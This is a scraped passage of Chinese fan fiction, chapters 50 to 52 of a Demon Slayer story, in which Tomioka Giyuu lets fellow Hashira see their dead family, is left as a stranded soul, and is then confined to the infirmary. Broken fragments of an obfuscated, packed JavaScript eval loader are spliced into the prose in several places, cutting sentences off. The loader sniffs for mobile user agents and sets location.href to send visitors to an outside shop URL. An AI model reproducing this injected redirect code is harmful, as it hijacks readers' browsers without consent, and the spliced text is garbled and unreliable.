蝴蝶香奈惠招呼两个人过来坐,她已经倒好了茶水。 借着伊黑小芭内的搀扶,富冈义勇坐到走廊下面,左手颤巍巍地端起茶杯喝水。 “富冈,你先好好休息,看我们一一对练吧。”宇髄天元华丽地站起来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273387|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蝶屋的院子不算小,大家分开区域站,倒是够四组人切磋对练。 只不过这一群人同时打起来确实会比较混乱。 那边的攻击打到了这边,本是对手的两个人互相看了一眼,开始一致对外,一对一变成了二对二。 剩下两组觉得不错,默契地看了一眼,就开始自由分组,同样二对二打起来。 但二对二又很快变成了四对四,一堆呼吸法的效果在院子里碰撞,到最后已经分不清谁是谁的对手,大家直接在一起混战了。 富冈义勇看得认真,目不转睛地观察他们的动作。但看到最后他就觉得眼睛累了,只能闭眼缓了一会。 八个人察觉到他的动作,开始用纯粹的刀术对战。 砰砰砰的声音在院子里不断回响,最后所有人的木刀齐齐断裂。 这时候的富冈义勇已经靠在柱子上睡着了。 “在外面睡,也是不怕着凉。”宇髄天元无奈。 炼狱杏寿郎走过去,小心地搀扶起来他:“从早上就一直训练到现在,体力早该耗尽了。” 不死川实弥走过去帮着炼狱杏寿郎扶着富冈义勇,两个人都很小心地没有碰到他的右肩 现在已经快下午,太阳都变得红彤彤的。 “说起来,你们有没有听过富冈先生会变彩虹的事情?据说那个彩虹特别漂亮!”甘露寺蜜璃捂着脸,脸上满是想要看的期待。 蝴蝶香奈惠是看过富冈义勇变出来的彩虹的,脸上的笑意轻柔:“我看过哦,真的很漂亮。” 悲鸣屿行冥双手合十,为自己看不到这番景象而流泪。 伊黑小芭内扭头看向甘露寺蜜璃:“等明天让富冈变给你看看?他之前不是说谁能赢过他,就可以给他变彩虹吗?今天的比试他可都输了。” 虽然有点欺负人,但如果甘露寺蜜璃想要看,伊黑小芭内也不介意去和富冈义勇这么说。 甘露寺蜜璃想了想,摇摇头:“虽然我很想看,但还是想让富冈先生能主动给我们看呢。” 被大家齐齐看着富冈义勇睡得很熟,靠在炼狱杏寿郎肩膀上,没有丝毫防备。 一群人齐齐摇头。 炼狱杏寿郎和不死川实弥把富冈义勇送回了病房,替他盖好被子,又关好了门。 八个人找了一间屋子坐着聊天。 “富冈先生新受的伤都没有大碍,涂些药就会慢慢好,后面会由护士进行处理,不用担心。”蝴蝶香奈惠给众人倒茶。 “要我说他现在在病房里好好休养才是,现在旧伤没有好,又添新的伤,他也是真不怕疼。”不死川实弥拿起面前的糕点边吃边说。 蝴蝶香奈惠叹了口气:“富冈先生很想早点恢复状态离开蝶屋呢。” “香奈惠,你作为蝶屋的负责人,能扣下富冈先生多待一段时间吗?外面的鬼可都在找他。”甘露寺蜜璃手里端着茶。 宇髄天元也华丽地点头赞同道:“我前些天出任务时碰见的鬼就还在找富冈。不过那个鬼只说自己要找穿着双色羽织的人,是男是女都不分。我看这群鬼完全是拿找人当借口,还是为了想满足自己吃人的欲.望。” “但就算这样,富冈的消息和行踪还是不能泄露。上弦鬼尚未现身,一定都在等着富冈主动出现。”炼狱杏寿郎分析道。 “让主公下令限制富冈的行动吗?”伊黑小芭内提议,但说完,他自己就摇了摇头,“富冈现在还不知道自己被鬼追杀,一旦限制他的行动,他就能猜出来了。” 不管是一线队员还是蝶屋的护士和医生,都很少和富冈义勇说过外面的局势。 一旦富冈义勇知道这件事,按他的性格,很可能会用自己当做猎杀上弦鬼的诱饵。 这也是所有人都不想看到的事情。 一群人轻叹。 “鬼,在追杀我吗?” 正巧推开门的富冈义勇出声询问。 在被送回房间后没多久,富冈义勇就醒了过来。他询问了一下护士,就找了过来,结果刚巧听到了伊黑小芭内的话。 一群人僵在原地,甚至不敢去扭头看。 50.第 50 章 富冈义勇在九柱里,是个什么样的人呢? 沉默寡言,责任心强,实力强悍。 除此之外,还是一个对自身安危没有丝毫认知的人。 只要一件事让他死不了,那他就可以去做。 如果让富冈义勇知道鬼在追杀他,他会怎么做呢? 提前和众人商量好地点,主动透露出自己的消息,然后用自己作为诱饵,直接猎杀上弦。 这是富冈义勇能干出来的事。 所以大家一直都在瞒着他被鬼追杀,就是想让他在蝶屋多待一段时间,好好养好的同时,也远离外界的纷纷扰扰。 但现下这个事情被富冈义勇得知,几个人全慌了。 “富冈,你听错了。”伊黑小芭内表情不变,用非常确认的语气说着。 “是啊,是啊。” “没有这个事。” “你不用操心这个。” 富冈义勇走了进去,和他们坐到一起。 他发自内心地感到疑惑:“鬼在追杀我不是一件好事吗?” 药剂没有暴露,他的行为成功迷惑了上弦鬼和鬼舞辻无惨,那他被追杀就是铁板钉钉的事。 只要珠世小姐没有事就好。 见瞒不下来,炼狱杏寿郎也不绕弯子,直接问道:“富冈你会想用自己做诱饵让大家一起猎杀上弦吗?” 富冈义勇认真思考了一会,摇摇头:“以前或许会,但现在不会了。” 以前的他确实有可能这么做。毕竟他将杀尽所有恶鬼当做自己余生的目标,如果有这个机会,他会毫不犹豫地开始布局。 但现在的他身边有了很多同伴,更知道了逝去的家人都陪在自己身边。 他不想辜负大家的期望,也希望自己能有无数个明天。 所以这种冒险的事,他不会再做了。 一群人露出放心而有欣慰的笑容。 富冈真的在慢慢改变了。 富冈义勇过来找他们是有事要说,直接道:“有件事和你们说。” “有一个地方叫做彼岸,里面停留着所有逝去的灵魂。只要这些灵魂尚未转世,我就有办法让你们看到他们的灵魂。” 富冈义勇刚刚睡着,就又感受到彼岸河流的出现。这一次,他没有将其直接斩断,而是留了很小的一道水流汇入了他的海面。 而等他睡醒,就又看到了自己的家人,这说明他之前的想法是可行的,现在的他也可以做到。 不想拖延,富冈义勇就直接找了过来,将这件事告诉了他们。 蝴蝶香奈惠摸了摸富冈义勇的额头:“不烫啊。” 甘露寺蜜璃也凑过来摸了摸:“真的不烫。” “睡傻了?”不死川实弥和伊黑小芭内对视一眼。 时透无一郎对能不能看到灵魂这件事完全不在乎,毕竟他什么都不记得。 炼狱杏寿郎是唯一顺着富冈义勇的话继续说的:“富冈是说你有办法让我们这些还活着的人看到已经死去的灵魂吗?” 富冈义勇点头,将之前他偶尔听到家人的声音以及前段时间见到家人的事都说了出来。 “但就算真的有灵魂存在,让我们这一群人都看到自己思念之人的灵魂,这真的是人类能办得到的事吗?”不死川实弥很是惊讶。 伊黑小芭内也点头:“我天生异瞳,也看不到什么灵魂。” 富冈义勇解释:“活着的人在心里非常强烈地思念逝去之人时,就有可能引动彼岸河流,与对应的灵魂产生共鸣,让他们能短暂地看见灵魂。” “我使用的是水之呼吸,可以引动彼岸河流的水与你们接触。只要你们心中想着要见的人,就可以看到。” “我试过了,只要这些灵魂没有转世,不管在哪里,都可以看见。” 富冈义勇让家人陪他做过实验,他发现不管是留在他身边,还是回到彼岸,只要他触碰到彼岸河流的水,又在想他们,就能看到他们的灵魂。 只是之前的他还无法控制好彼岸河流的水,没办法让其他人也能看见。 但刚刚睡着的时候,他发现只要让彼岸河流的水一部分和他的海面融合,他就可以随意控制了。虽然不知道原理,但他就是知道可以。 “不过我隐隐感觉到,彼岸河流的水我只能分给一个人一次,所以你们要想好,机会只有一次。”富冈义勇补充道。 不死川实弥将手放在双.腿上,看着富冈义勇的表情很是复杂:“这都是你刚刚睡觉时搞的?” 富冈义勇摇头,说他苏醒以后就一直在试。 “但做起来并不复杂,很简单。” 只是斩断彼岸河流,让它的水和他的海面融合,然后他变出来的水里,就可以包含彼岸河水。 不死川实弥捂脸。要不是知道他说的真的是字面意见,他只会觉得这人在炫耀,然后生气想揍人。 “明天理论考试就要结束了,你们就得去教人了,今天要试试吗?”富冈义勇问他们。 蝴蝶香奈惠语气温柔地问:“富冈先生,我想叫小忍一起,可以吗?” 今天蝴蝶忍正好在蝶屋,她想叫妹妹一起。 富冈义勇点点头:“可以的。” 得到同意,蝴蝶香奈惠就起身去叫自己的妹妹了。 多年过去,她们一直想念着父母。 悲鸣屿行冥双手合十:“我双目失明,想来无法参与了。” 富冈义勇给他分析:“刚刚苏醒时,我的嗓子是说不出话的,但我看见锖兔时嗓子却是正常的。我觉得悲鸣屿先生可以试一试,因为你的身边就有一群小孩子在。” 悲鸣屿行冥转动念珠的手停住。 小孩子…… 时透无一郎看着富冈义勇:“以前的事,我什么都不记得,也能看见吗?” 富冈义勇点头:“灵魂之间是能看到彼此的,我的家人告诉我,时透你的周围也一直有人在。他们说他们是你的爸爸妈妈还有哥哥。” 时透无一郎愣住,手微微攥紧。 爸爸,妈妈,还有,哥哥…… 空白的脑海里闪过什么,有些模糊不清,仿佛被云雾遮住。 不死川实弥挠了挠头,有些不好意思:“富冈,想见的人有点多,能行吗?” 富冈义勇老实回答:“不知道。我只见到了自己的爸爸妈妈和姐姐,还有锖兔。” 不死川实弥叹气,他想见自己的弟弟妹妹们,也想见自己的妈妈。 “我想见的人,也就是我的母亲了。”炼狱杏寿郎脸上露出柔和的笑意。 因病去世的母亲,是他一直思念的人。 宇髄天元摆了摆手:“不用算我,我没什么想见的人。” 甘露寺蜜璃也举手:“我也是。” 她的家人都活得好好的。 伊黑小芭内也没什么想见的人,也拒绝了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“伊黑先生,看样子富冈先生真的成功了。”甘露寺蜜璃感概。 伊黑小芭内双手环胸:“嗯。他还真是厉害。” 甘露寺蜜璃见大家都聊得火热,也不打扰,和伊黑小芭内往角落走了走,把屋子让给他们:“也不知道富冈先生怎么样?” 她刚刚都看到富冈先生昏过去了。 伊黑小芭内看了大门一眼:“那边有宇髓在,没关系的。” 一定会没事的,毕竟这家伙都这么厉害了。 所以说这人什么时候不用刀也能用出呼吸法了。要是让不死川知道,恐怕又想揍人了吧。 所谓遗憾,就是无法与珍视之人好好告别。 彼岸河流连通现世与亡界,因一人之功,这些心中充满遗憾的人,有了告别和再见的机会。 或许还有不舍,或许还有依恋,但心中的怅惘会消失,心中的疑惑会解开,心中的自责也会渐渐消散,甚至将自身记忆包裹的云雾也被轻轻扫开。 屋里的人笑着,哭着,和过去的自己或是珍视之人和解着。 水,是生命的起源,连通万事万物,更是遍布世界各地,无处不在。 水,也将本不该相见的人与灵魂连接,让他们跨越生死,彼此得以看见。 水在流动时,会被杂质所侵染。 水在连接时,也要将因果承担。 富冈义勇高烧不退,昏迷不醒。 51.第 51 章 为何生者无法看见亡者? 因为生死有别,生者与亡者的因果线已经断绝。 那么强行将六个人与逝去之人的因果连接,要付出怎样的代价呢? 富冈义勇和自己的家人站在一起,几个人面面相觑。 他的身体躺在床上,而灵魂站在床边。 灵魂,回不去了。 “怎么回事啊?!” “义勇你怎么变成灵魂了!” “关键是怎么还回不去了?!” 富冈义勇也不知道怎么回事,在将彼岸水滴到众人身上前,他能感觉到自己不会死,却没想到会这样。 面对一脸担心的家人,富冈义勇张了张嘴,然后又闭上了。他知道,但凡他将刚刚的想法说出去,就一定会被骂。 这些年他做事一直以生死为界。只要一件事不会导致他的死亡,那就可以去做。虽然现在的他有了想去做的事,行事作风有了收敛,但这个想法到底有些根深蒂固,一时很难改变。 引动彼岸河水这件事也是。 富冈义勇的家人听他说他会没事,他们也就信了,结果就看到自家孩子变成灵魂和自己排排站了。 富冈茑子看看富冈义勇的身体,又看看一脸心虚的富冈义勇灵魂,简直要被气死了:“这就是你说的会没事?!” 富冈义勇妄图躲在自己父亲身后,但还没躲过去,就被自己父亲捏住了脖颈。 富冈义勇父亲笑得温柔,语气阴森:“义勇,咱们家什么时候灵魂回不去身体也能被叫做没事了?” 富冈义勇母亲回想着这些年来富冈义勇做过的事:“除了这件事,义勇,你之前做事也都这么想的?你瞧瞧你身上的伤,还有哪块皮肤是好的吗?以前只以为你是执行任务没办法,难不成你心里对受伤这件事一点不在乎?!” 没有哪个母亲在看到自己孩子满身伤痕时会不心疼。 但生死两隔,她什么也做不到。 她又气又心疼:“你小时候明明那么怕疼 ,还总爱哭,现在怎么变成这样了!” 富冈义勇连忙摇头:“没有!绝对没有!杀鬼的时候我都有注意不让自己受伤!” “我也不是不怕疼!只是……只是……”富冈义勇没再说下去。 是啊,以前的他是很怕疼,也很爱哭的。 受了伤会想哭,想到家人和同伴的逝去也会想哭。 但……他不能哭。 受伤是为了更好的守护,也是为了变得更强。 他别无选择,只能让自己接受。 习惯了疼痛,习惯了独自忍受,然后渐渐忘了,自己的家人也会心痛。 卡着身体的极限去拼命训练,想尽办法去提高自己的实力,不停歇地执行任务,一次又一次的伤重病危。 他,好像过得并不好。 “对不起……”富冈义勇低着头,不敢去看自己的家人,“这些年,我过得很糟糕。” 听到这句话,谁还能继续骂他。 那是自家最小的孩子啊。 “义勇,我们没怪你。”富冈义勇的母亲将他抱在怀里,轻拍他的后背,“是我们走得太早了,没办法护着你和你姐。你姐后来也走了,更是留下你一个人。” 富冈茑子揉了揉弟弟的头,眼眶也是红的:“一个人走了这么远,辛苦你了,义勇。” 富冈义勇的父亲将自家人都搂在怀里:“义勇,要记住,你永远是我们最疼爱的孩子,我们永远爱你,也永远希望你能平平安安、万事顺遂。” 富冈义勇听着家人的话,眼泪再也止不住:“对不起……” “对不起……” “我以为我自己过得很好……” 一个人也没关系,他会照顾好自己。 和鬼战斗很危险也没关系,他会一直提高自己的实力。 好好吃饭,好好睡觉,也有好好养伤,好好练刀。 后来,他的身边多了很多人。 枯燥而平淡的生活里,多了一项社交。 会考虑送谁东西,会想自己能帮上什么忙。 唯独没有他自己。 水不会停止流动,只会一路向前,给万物带来生机,却从不回头去看。 但付出所有的水会蒸发,会变成雨滴,从天空落下。 那时,他终将看见已行的路,是如何曲折蜿蜒。 然后恍然,原来这一路他走得这么难,也已经走了这么远。 富冈义勇放任自己大声哭起来。 不需要逼着自己坚强,不需要压抑心中的悲伤与委屈。 独行八年之久,他终于找回了自己。 锖兔悄悄地站在一边,静静看他们一家抱在一起,脸上带着笑意。 在知道这个事后,锖兔就回彼岸想问问真菰是怎么回事了。但真菰也不知道为什么,而且彼岸现在也炸了锅,原本平静的彼岸河流瞬间变得湍急,让所有在彼岸停留的灵魂都不知所措起来。 不过也不是没有好的事情,比如很缓慢的转世投生速度突然加快了,排队等着转世的灵魂一下子少了不少。 没去打扰他们一家人,等他们的情绪恢复平静,锖兔才将彼岸发生的事情告诉他们。 锖兔一脸复杂,看着一脸无辜眼角还挂着泪水的富冈义勇,责怪的话是怎么也说不出来了。 他轻轻叹了一口气,感概:“能把彼岸搞这么混乱,你还真厉害。” 富冈义勇扭过头,装没听见。 “虽然不知道怎么回事,但你这几天不许乱跑,就在身体边好好待着。”锖兔交代道。 富冈义勇老实点头,为自己辩解:“我隐约能察觉到,十二天以后就能回去了。” 冥冥之中,自有定数。 彼岸河水非比寻常,屡次接触下来,也让富冈义勇对一些事情有了一丝感知。 富冈义勇的家人继续说教富冈义勇。 “义勇,这么危险的事情可不许再做了。” “是啊。我看干脆以后你也别想我们了,看不见就看不见。本来你也不该看见。只要你知道我们一直陪着你就好了。” “你不是修炼那个水之呼吸吗,本来情绪就不适合激动。乖,以后好好保持内心平静,不要总想我们。” 富冈义勇委屈巴巴,轻声为自己辩解:“水之呼吸又不是让人变成冰块,怎么可能没有情绪起伏。” “我以后不再碰彼岸河水就是。” “我不可能不想你们的。” 他微微低着头,让人看不清眼里的情绪,话语很轻,却带着明显的委屈。 这是自家最小的孩子,谁又会真的狠下心责怪他? 只是爱之深责之切,他们都不希望富冈义勇有危险。 锖兔试图打圆场:“我也修炼的水之呼吸,叔叔阿姨,还有茑子姐姐,它只是要求人遇事能冷静判断,不是当一个没感情的工具。义勇这次的事确实做得有些出格,但只要记住教训,以后不再犯就好了。” 做错了事,说错了话,该骂就骂,该打就打,锖兔没有意见。但人非草木,孰能无情,总不能矫枉过正。 富冈义勇连忙点头。 富冈义勇的母亲拍拍他的脑袋:“那你答应妈妈,以后万事以自己的安危为先。做了不知道会出现什么后果的事,不准去做。还有那个什么死不了就可以去做的这个想法,给我丢得远远的。” “记住了……” “还要答应爸爸以后不能再用彼岸水帮人看见亡者, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285499|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你自己以后也少碰它。” “我不碰了……” “更要答应姐姐好好照顾自己,不能生病,不能受伤,也别压抑自己的情绪了,想哭就哭,想笑就笑。要知道我们可一直陪着你呢,你难受,我们也跟着难受。” “……可是姐姐,生病和受伤不是我……” “嗯?” “……我答应你就是……” 看着富冈义勇这幅乖巧的样子,锖兔在心里忍不住笑了笑。 这就是彼岸河水隔开生死,却又允许生者能因强烈情绪而看见亡者的意义吧。 天人永隔,生死两相望。 生者与亡者的因果已经断绝,但所谓藕断丝连,那因果线虽断,却仍有相见的希望。 富冈义勇强行连接因果线,可谓逆天而为,自然要付出相应的代价。 而付出了代价的他,也总要收获到一点属于他自己的东西。 “义勇,你之前提过的那个少年,我去看过了。”总归富冈义勇回不去身体,锖兔就开始和他闲聊,“他叫灶门炭治郎,妹妹叫灶门祢豆子。炭治郎的眼睛确实有点特殊,能看到我和真菰。不过只在一定范围,出了固定的区域就看不到了。” “该说不愧是你捡到的人吗?”锖兔笑了笑。 富冈义勇不敢再提看见灵魂这件事,转移话题:“他现在能力怎么样?祢豆子呢?” 宽三郎受的伤好了以后就出去帮忙传递各地的消息了,偶尔会来见他一趟,但每次他问到灶门炭治郎或者别的事情,宽三郎都不告诉他,打定主意让他好好养伤,不操心别的。 “那小子确实挺笨的,很多老师教的东西都没内化成自己的。不过也还行,不算榆木疙瘩。有次他看见了我和真菰,我们俩就一起教了教他,后来再去看他,是有点不一样了。” “他妹妹一直在睡,没有苏醒,不过身体状况挺平稳的。我有次去,还看到有隐的人过去取血。” 听锖兔说着,富冈义勇点点头,渐渐放下了心。看来主公和珠世小姐一直留意着少女的事情。 锖兔摸着下巴想了想:“要是炭治郎好好努力,下一次的最终选拔是能够赶上的。到时候,就轮到你这个师兄好好教导他了。” 说完,他好像感知到什么,愣了一下,却又释怀地笑了笑。他看向富冈义勇,轻轻道:“义勇,我该去转世了。” 锖兔和家人早就进过天堂排队等着转世了,只不过他还挂心着鳞泷左近次和富冈义勇,才会在彼岸停留。 现在彼岸河流变得湍急,转世投生的速度加快,本来还需要等很久的锖兔,马上就要去转世了。 富冈义勇微微低眸,沉默了几秒,最后抬起头,看向锖兔,同样释怀地笑了笑:“嗯。锖兔,晚安。” 人的□□死亡,是走进无声的良夜。 人的灵魂转世,是开启新生的安眠。 像是锖兔记忆里开朗的笑容,却带了些许克制,更多的是坦然与祝愿。 这一次,是真的最后一面了。 锖兔忍住眼眶的热意,伸手和他抱了抱:“义勇,你就是你,不用背负谁的死亡,以自己的意志过好每一天吧。” 富冈义勇回抱住锖兔:“嗯,我会的。” 他已经足够幸运。 能见到逝去的家人,知道他们一直在自己的身边。 现下能和逝去的友人真正道别,他已经再无遗憾。 锖兔的灵魂化作白色的光点,朝他挥手再见,然后一点点消失在富冈义勇的身前。 锖兔来到了天堂,身旁是他的家人。 他站在中间,拉住家人的手,一起迈向了新生的大门。 自此,世间便再无锖兔。 晚安,锖兔。 52.第 52 章 十九岁,在鬼杀队的所有人里,不算大,也不算小,是个平平无奇的年龄。 水之呼吸,不急不缓,可攻可守,最为柔和,也最容易练成,是鬼杀队里使用最多的呼吸法。 修行呼吸法八年,这也不足为奇,毕竟鬼杀队里还有很多使用呼吸法已经十多年或者几十年之久。 那么,十九岁,使用水之呼吸,自创了两个招式的富冈义勇,在鬼杀队里是个怎么样的存在呢? “听说了吗?水柱大人又研究出来水之呼吸的十二型了。” “真不愧是水柱大人!但你哪听来的啊?” “这不是水柱大人最近在蝶屋养伤,几位柱过去探望,我偷偷看了他们切磋,就见到了水柱大人的十二型。” “你们胆子真大啊。” “那个什么,自创招式很厉害么?队里很多人都是自创呼吸法哎。” “新人?” “嗯嗯!” “理论考试咋通过的?” “……说来惭愧,我是及格线飘过的。” “啧啧啧。行吧。” “众所周知,呼吸法,是让人通过呼吸和自然对应的元素进行感应,又与刀术结合,让人在一呼一吸间,与自然界进行交换,逐渐增强人的身体机能,让速度、力量等等得到提高,进而拥有能和鬼战斗的能力。” “这个我知道,我背下来了!” “呼吸法是以“日之呼吸”为起始,并由此派生出了水、雷、炎、岩、风五大基本流派。之后呢,又有人会根据这五大流派开发出了具有各种特性的新流派。” “这个我也知道!” “那你知道为什么呼吸法的种类这么多吗?” “……嘿嘿,不知道了。” “……为什么呼吸法的种类如此之多,是因为自然界中本就存在万事万物。每个人通过呼吸与自然交换时,所感受到的东西也都不一样,自然而然就会逐渐诞生更适合自己的呼吸法。” “但你要知道,呼吸法已经流传数百年之久,只有新的呼吸法诞生,而没有新的招式增多。除了已经失传的的日之呼吸外,就是因为大家都觉得基础呼吸法已经足够完善,想要进行创新,只能重新诞生一个派系。” “举个不恰当的例子,你种下一颗白菜,给它浇水施肥,然后看着它一点点长大。忽然!有一天地里失火了,已经发芽的白菜被烧死,只剩下灰烬的苗了!这时候的白菜还是白菜吗?不是了,对吧。原本的白菜,就是基础呼吸法,而最后的灰烬,就是新的呼吸法。灰烬不能吃,但也有它的用处。” “而创建新招式呢,就是你种下一棵白菜,给它浇水施肥,然后不知道通过什么方法,这个白菜长成的时候,颜色变了!正常的白菜是白白绿绿的,而这个白菜,它变成红的了!但是呢,它的颜色虽然变了,可它还是个白菜。” “……有点似懂非懂……” “啧啧啧,怎么连这也听不懂。” “我就是脑子转不动,只会挥刀……” “那我直接告诉你结论,能在基础呼吸法上创出新招式的,对这个呼吸法绝对一定有很深的研究和理解,是天才中的天才。” “原来如此!之前我听有人传言说水柱大人不配当水柱,还以为……” “嗤。那就是群蠢货。要是你敢这么认为,别怪我们揍你。” “不敢!不敢!绝对不敢!” “再给你科普一下,你知道呼吸法达到一定程度,是能够让对应的东西显化的吧?” “这个知道,我和前辈出任务的时候见过。” “水柱大人使用的是水之呼吸,在用招式的时候就会让水显化出来。如果你见过水柱大人出招,就绝对不会疑惑他的实力。” “起码我从没见过有像水柱大人那样能显化出那么多水的人,而且他对招式的操控还很精准,那个彩虹是真的漂亮。” “……怎么哪都有你啊?!我都没看上彩虹!” “这不是借了别人的光嘛。不过水柱大人病情似乎严重了,我见他又昏迷过去了。” “好让人担心啊。” “都说天妒英才,可能这就是天才必须要经历的吧。” “唉。” 富冈义勇创出水之呼吸第十一型,这件事在鬼杀队传出来的时候,很多人起初并没当回事。 认为不过是新招式而已,和新的呼吸法是一样的,不足为奇。 只有那些资历比较深,对呼吸法有深入了解的人,才能明白这究竟代表着什么。 而那时创出十一型的富冈义勇,才不到十五岁,使用水之呼吸也不过短短两三年。 十五岁就任水柱,这其中的含金量是无人质疑的。 在听到鬼杀队的一些人对富冈义勇的非议时,这些人都是不屑一顾的。 所谓庸才与天才,简直就是云泥之别。 后面随着柱的增多,更有时透无一郎这个天才出现,富冈义勇的傲人天资渐渐归于沉寂。 但谁也没想到这人忽然就在柱合会议上冒出来一句“我研究出来了十二型,等特训的时候想和你们切磋看看”。 本人十分水波不兴,一点也不管别人心中是如何惊涛骇浪。 富冈义勇从不觉得他是个天才,只觉得自己是个很努力的普通人。 能变出漫天的水也好,创出新招式也罢,在他看来都是稀松平常的事。 或许也正是这点,才让他显得如雪山冷泉一般。 和富冈义勇接触过的人,都会觉得他是个责任心强、实力强大、做事稳妥的人。 几个柱也是这样想的,结果就看到了富冈义勇高烧昏迷,一直醒不过来。 “义勇胡闹你们也跟着胡闹?!” “咳!让自己看见灵魂和让别人看见灵魂,咳咳,是一回事吗?!” “十个人啊?没一个人想着拦一下的吗?!” 产屋敷耀哉知道这件事的时候真的是被气急了。他难得这么生气,收起了平时的笑意,板着脸骂着一群垂头丧气的人。 “主公,消消气,消消气……” “都是我们的错,您的身体要紧。” “富冈先生的温度已经在慢慢降下来了,主公您别担心。” 几个人低头认错,又劝着产屋敷耀哉注意身体。 产屋敷耀哉抬手捂着胸口,平稳着呼吸:“抱歉……是我失态了。” 听到这话,一群人连忙摆手。 见产屋敷耀哉心情平静下来,也有人敢悄悄嘀咕了。 “他当初说得那么轻松,那么信誓旦旦,我以为就跟他新创出个招式一样……” “而且睡之前他还说着,不会让自己在做冒险的事,结果……” “以后不能信他说的话了,什么没事,什么轻松,都是假的。” 产屋敷耀哉揉着胀痛的额头,微阖双目:“义勇现在已经知道鬼追杀他的这件事,对吧?” 一群人又不敢说话了。 悲鸣屿行冥不愧是岩柱,就是有担当。他低着头,轻轻道了一句:“是的,主公。” 产屋敷耀哉叹了口气,语气又变得温和:“这样也好。我以鬼杀队主公的身份下令,从今天开始,对富冈义勇下达禁足令。” 坐在产屋敷耀哉对面的一群人都不自觉地打了冷战,虽然主公的话还是那么温柔动听,但总觉得有一股冷意在飘。 “在富冈义勇伤势完全恢复,以及鬼对他的追杀不再频繁之前,他不得出蝶屋半步。” “禁足令期间,任何人不得向他透露外界的事。” “遵命!” 产屋敷耀哉看向蝴蝶香奈惠:“香奈惠,这段时间义勇就交给你了。” 蝴蝶香奈惠点点头,将手合住,放在脸的旁边,语气温柔:“嗯,我会看好富冈先生,一定不让他乱跑、乱做事了。” 在富冈义勇昏迷的十二天里,他连续发烧了三天,后面烧退了,人却一直昏迷着。 这让几个柱和产屋敷耀哉都很担心。 在偶尔的探病期间,看着他那张无辜的睡颜,他们终于下定决心,以后不能轻信他说的任何一个字。 这人的思想和常人不一样,不能他想干什么就干什么了。 在几个柱担忧又自责的情绪里,十二天转眼过去。 富冈义勇的灵魂顺利回到身体。 然后,他发现被禁足了。 “为什么?”富冈义勇不明白。 蝴蝶香奈惠的笑容不变,依旧温柔:“是主公下令的哦。” “而且我觉得富冈先生可以看一看自己的病历,上面记录的很清楚呢。” 富冈义勇看着蝴蝶香奈惠那抱着的厚厚一本,不自然地扭过头:“我知道了,我会在蝶屋好好养伤的。” 锖兔去转世了,家人就在自己身边。 灶门炭治郎和灶门祢豆子主公和珠世小姐也都有留意,他能为几位柱做的事,也都已经做了。 确实也没什么需要他操心的。 至于上弦鬼和药剂的事,富冈义勇看了看蝴蝶香奈惠的表情,还是选择不问了。 想要出门,只能等他伤完全好起来再说了。 “那特训……”富冈义勇试探着问了一下。 “富冈先生,只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289781|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到时候你觉得身体撑得住,就可以照原计划在蝶屋进行实战训练。”关于这件事,几个柱商量过了。总归是在蝶屋,也不出去,有这么多人看着,怎么着也不会出事了。 富冈义勇松了口气,乖乖用没扎着针的手拉了拉被子:“好。我会留意自己的身体情况。” 蝴蝶香奈惠叹了口气:“富冈先生,很感谢你让我们看到逝去的家人,但以后请不要这么做了。” “如果我们事先知道这会让你昏迷这么久,是一定不会同意你这么做的。” 富冈义勇将自己往被子里缩了缩:“我知道了,是我欠考虑了。对不起……” 见他这幅心虚样子,蝴蝶香奈惠无奈笑笑:“该说对不起的是我们。” “富冈先生,大家都很在乎你,你也要在乎自己一点。”蝴蝶香奈惠晃了晃病历本,“你这几天高烧不退,又一直昏迷不醒,我和小忍还有医生都快把病历本翻坏了。” “大家都是越看越心疼,越看越心急。如果你再醒不过来,我们就真的不知道该怎么办了。”蝴蝶香奈惠看了看这间屋子,“大家都在说这间病房是你的专属病房了,富冈先生,作为蝶屋的负责人,以及你的同伴,我真的很不想承认这件事。” 她指了指富冈义勇的手:“你手背上的淤青才下去,现在就又有了。” 富冈义勇怕跑针,手不敢往被子里缩,露在外面的手背上淤青十分明显。 “……我以后不会了……”富冈义勇快用被子把自己盖住了,“我真的不会了……” 但他知道,这句话很可能不会让他们信了。 为了挽回那岌岌可危的信任,富冈义勇这些日子格外听话。 该吃药吃药,该休息休息,该复健就复健。 不该他问的不问,不该他操心的不去操心,乖巧得让人以为他又准备整什么幺蛾子。 蝴蝶忍单手叉腰,站在富冈义勇身边:“说,你最近又在琢磨什么呢?” 富冈义勇眨了眨眼:“我就是忽然想通了,不能再像以前那么做了。我会慢慢养伤,不再急着出去了。” 